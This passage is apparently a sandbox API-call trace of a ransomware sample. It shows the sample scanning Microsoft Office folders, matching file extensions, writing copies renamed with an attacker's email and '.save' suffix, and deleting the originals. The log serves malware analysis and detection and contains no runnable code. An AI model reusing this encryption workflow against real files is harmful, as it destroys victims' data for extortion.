[0177.699] lstrlenW (lpString=".7z") returned 3 [0177.699] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0177.699] lstrlenW (lpString=".dbf") returned 4 [0177.699] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0177.699] lstrlenW (lpString=".1cd") returned 4 [0177.699] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0177.699] lstrlenW (lpString=".jpg") returned 4 [0177.699] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.699] lstrcmpiW (lpString1=".eftx", lpString2=".save") returned -1 [0177.699] lstrlenW (lpString="Riblet.eftx") returned 11 [0177.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0177.700] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=295074) returned 1 [0177.700] CloseHandle (hObject=0x534) returned 1 [0177.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 0x220 [0177.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0177.702] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.702] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0177.703] GetLastError () returned 0x0 [0177.703] ReadFile (in: hFile=0x534, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x480a2, lpOverlapped=0x0) returned 1 [0177.894] WriteFile (in: hFile=0x434, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x480b0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x480b0, lpOverlapped=0x0) returned 1 [0177.902] ReadFile (in: hFile=0x534, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0177.902] WriteFile (in: hFile=0x434, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xea, lpOverlapped=0x0) returned 1 [0177.902] SetEndOfFile (hFile=0x434) returned 1 [0177.902] CloseHandle (hObject=0x434) returned 1 [0177.903] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.903] SetEndOfFile (hFile=0x534) returned 1 [0177.921] CloseHandle (hObject=0x534) returned 1 [0177.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0177.922] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 1 [0177.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0177.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0177.923] lstrlenW (lpString=".doc") returned 4 [0177.923] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.923] lstrlenW (lpString=".docx") returned 5 [0177.923] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.923] lstrlenW (lpString=".pdf") returned 4 [0177.924] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.924] lstrlenW (lpString=".xls") returned 4 [0177.924] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.924] lstrlenW (lpString=".xlsx") returned 5 [0177.924] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.924] lstrlenW (lpString=".ppt") returned 4 [0177.924] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0177.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0177.924] lstrlenW (lpString=".zip") returned 4 [0177.924] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.924] lstrlenW (lpString=".rar") returned 4 [0177.924] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.924] lstrlenW (lpString=".bz2") returned 4 [0177.924] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0177.924] lstrlenW (lpString=".7z") returned 3 [0177.924] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0177.924] lstrlenW (lpString=".dbf") returned 4 [0177.925] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0177.925] lstrlenW (lpString=".1cd") returned 4 [0177.925] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0177.925] lstrlenW (lpString=".jpg") returned 4 [0177.925] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0177.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0177.925] lstrlenW (lpString=".doc") returned 4 [0177.925] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.925] lstrlenW (lpString=".docx") returned 5 [0177.925] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.925] lstrlenW (lpString=".pdf") returned 4 [0177.925] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.925] lstrlenW (lpString=".xls") returned 4 [0177.925] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.925] lstrlenW (lpString=".xlsx") returned 5 [0177.925] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.925] lstrlenW (lpString=".ppt") returned 4 [0177.925] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0177.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0177.925] lstrlenW (lpString=".zip") returned 4 [0177.925] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.925] lstrlenW (lpString=".rar") returned 4 [0177.925] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.925] lstrlenW (lpString=".bz2") returned 4 [0177.925] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0177.926] lstrlenW (lpString=".7z") returned 3 [0177.926] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0177.926] lstrlenW (lpString=".dbf") returned 4 [0177.926] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0177.926] lstrlenW (lpString=".1cd") returned 4 [0177.926] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0177.926] lstrlenW (lpString=".jpg") returned 4 [0177.926] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.926] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0177.926] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0177.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0177.928] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=21184) returned 1 [0177.928] CloseHandle (hObject=0x534) returned 1 [0177.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220 [0177.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0177.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0177.929] lstrlenW (lpString=".doc") returned 4 [0177.929] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.929] lstrlenW (lpString=".docx") returned 5 [0177.929] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0177.929] lstrlenW (lpString=".pdf") returned 4 [0177.929] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.929] lstrlenW (lpString=".xls") returned 4 [0177.929] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.929] lstrlenW (lpString=".xlsx") returned 5 [0177.929] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0177.929] lstrlenW (lpString=".ppt") returned 4 [0177.929] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0177.929] lstrlenW (lpString=".zip") returned 4 [0177.929] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.929] lstrlenW (lpString=".rar") returned 4 [0177.929] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.929] lstrlenW (lpString=".bz2") returned 4 [0177.929] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.929] lstrlenW (lpString=".7z") returned 3 [0177.929] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0177.929] lstrlenW (lpString=".dbf") returned 4 [0177.930] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0177.930] lstrlenW (lpString=".1cd") returned 4 [0177.930] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0177.930] lstrlenW (lpString=".jpg") returned 4 [0177.930] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0177.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0177.930] lstrlenW (lpString=".doc") returned 4 [0177.930] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.930] lstrlenW (lpString=".docx") returned 5 [0177.930] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0177.930] lstrlenW (lpString=".pdf") returned 4 [0177.930] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.930] lstrlenW (lpString=".xls") returned 4 [0177.930] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.930] lstrlenW (lpString=".xlsx") returned 5 [0177.930] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0177.930] lstrlenW (lpString=".ppt") returned 4 [0177.930] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0177.930] lstrlenW (lpString=".zip") returned 4 [0177.931] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.931] lstrlenW (lpString=".rar") returned 4 [0177.931] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.931] lstrlenW (lpString=".bz2") returned 4 [0177.931] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.931] lstrlenW (lpString=".7z") returned 3 [0177.931] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0178.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0178.336] lstrlenW (lpString=".dbf") returned 4 [0178.336] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0178.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0178.336] lstrlenW (lpString=".1cd") returned 4 [0178.336] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0178.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0178.336] lstrlenW (lpString=".jpg") returned 4 [0178.336] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0178.336] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0178.336] lstrlenW (lpString="AppVPackaging.dll") returned 17 [0178.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0178.338] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=578264) returned 1 [0178.338] CloseHandle (hObject=0x2a8) returned 1 [0178.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll")) returned 0x220 [0178.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0178.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0178.339] lstrlenW (lpString=".doc") returned 4 [0178.339] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0178.339] lstrlenW (lpString=".docx") returned 5 [0178.339] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0178.339] lstrlenW (lpString=".pdf") returned 4 [0178.339] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0178.339] lstrlenW (lpString=".xls") returned 4 [0178.339] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0178.339] lstrlenW (lpString=".xlsx") returned 5 [0178.339] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0178.339] lstrlenW (lpString=".ppt") returned 4 [0178.339] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0178.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0178.340] lstrlenW (lpString=".zip") returned 4 [0178.340] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0178.340] lstrlenW (lpString=".rar") returned 4 [0178.340] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0178.340] lstrlenW (lpString=".bz2") returned 4 [0178.340] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0178.340] lstrlenW (lpString=".7z") returned 3 [0178.340] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0178.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0178.340] lstrlenW (lpString=".dbf") returned 4 [0178.340] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0178.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0178.340] lstrlenW (lpString=".1cd") returned 4 [0178.340] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0178.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0178.340] lstrlenW (lpString=".jpg") returned 4 [0178.340] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0178.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0178.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0178.340] lstrlenW (lpString=".doc") returned 4 [0178.340] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0178.340] lstrlenW (lpString=".docx") returned 5 [0178.340] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0178.340] lstrlenW (lpString=".pdf") returned 4 [0178.340] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0178.341] lstrlenW (lpString=".xls") returned 4 [0178.341] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0178.341] lstrlenW (lpString=".xlsx") returned 5 [0178.341] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0178.341] lstrlenW (lpString=".ppt") returned 4 [0178.341] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0178.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0178.341] lstrlenW (lpString=".zip") returned 4 [0178.341] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0178.341] lstrlenW (lpString=".rar") returned 4 [0178.341] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0178.341] lstrlenW (lpString=".bz2") returned 4 [0178.341] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0178.341] lstrlenW (lpString=".7z") returned 3 [0178.341] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0178.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0178.341] lstrlenW (lpString=".dbf") returned 4 [0178.341] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0178.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0178.341] lstrlenW (lpString=".1cd") returned 4 [0178.341] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0178.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0178.341] lstrlenW (lpString=".jpg") returned 4 [0178.342] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0178.342] lstrcmpiW (lpString1=".manifest", lpString2=".save") returned -1 [0178.342] lstrlenW (lpString="AppVPackaging.dll.manifest") returned 26 [0178.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0178.343] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=707) returned 1 [0178.343] CloseHandle (hObject=0x2a8) returned 1 [0178.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest")) returned 0x220 [0178.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0178.344] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.344] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0178.347] GetLastError () returned 0x0 [0178.347] ReadFile (in: hFile=0x2a8, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2c3, lpOverlapped=0x0) returned 1 [0178.350] WriteFile (in: hFile=0x374, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2d0, lpOverlapped=0x0) returned 1 [0178.352] ReadFile (in: hFile=0x2a8, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0178.352] WriteFile (in: hFile=0x374, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x108, lpOverlapped=0x0) returned 1 [0178.352] SetEndOfFile (hFile=0x374) returned 1 [0178.352] CloseHandle (hObject=0x374) returned 1 [0178.352] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.352] SetEndOfFile (hFile=0x2a8) returned 1 [0178.358] CloseHandle (hObject=0x2a8) returned 1 [0178.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0178.359] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest")) returned 1 [0178.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0178.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0178.361] lstrlenW (lpString=".doc") returned 4 [0178.361] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0178.361] lstrlenW (lpString=".docx") returned 5 [0178.361] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0178.361] lstrlenW (lpString=".pdf") returned 4 [0178.361] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0178.361] lstrlenW (lpString=".xls") returned 4 [0178.361] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0178.361] lstrlenW (lpString=".xlsx") returned 5 [0178.361] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0178.361] lstrlenW (lpString=".ppt") returned 4 [0178.361] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0178.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0178.361] lstrlenW (lpString=".zip") returned 4 [0178.361] lstrcmpiW (lpString1=".zip", 